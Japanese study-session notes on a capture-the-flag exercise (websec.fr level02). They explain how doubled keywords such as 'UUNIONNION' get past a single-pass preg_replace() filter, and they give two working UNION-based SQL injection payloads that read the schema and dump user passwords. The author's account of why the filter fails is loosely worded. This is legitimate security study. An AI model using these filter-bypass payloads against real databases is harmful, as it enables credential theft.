# 2020/07/07 upper layer progress 2020/7/7の勉強会資料 - websec(http://websec.fr/#) level02 ## websec ### 進捗 level02が終了 ### 今回の感想 学んだ項目は、 - 今回は上の関数でSQLinjectionの対策をしたlevel01の強化ver - preg_replace()関数の仕様 preg_replace('置換したい文字列','置換後の文字列',置換対象の文字列) - preg_replace関数が指定した単語で、置換した後の文字列には影響しないために出来る攻撃。 ### 解放 preg_replace()関数は、指定した文字列が連続しているときのみ置換する。 よって、下記のような書き方でlevel01の時と同じ解放が使える。 ***1 AND 1 = 0 UUNIONNION SSELECTELECT 1,sql FFROMROM sqlite_master;--*** これでカラムにpasswordがあることが分かるので、下記のSQLを実行。フラッグを取得できた。 ***1 AND 1 = 0 UUNIONNION SSELECTELECT id,password FFROMROM users;--***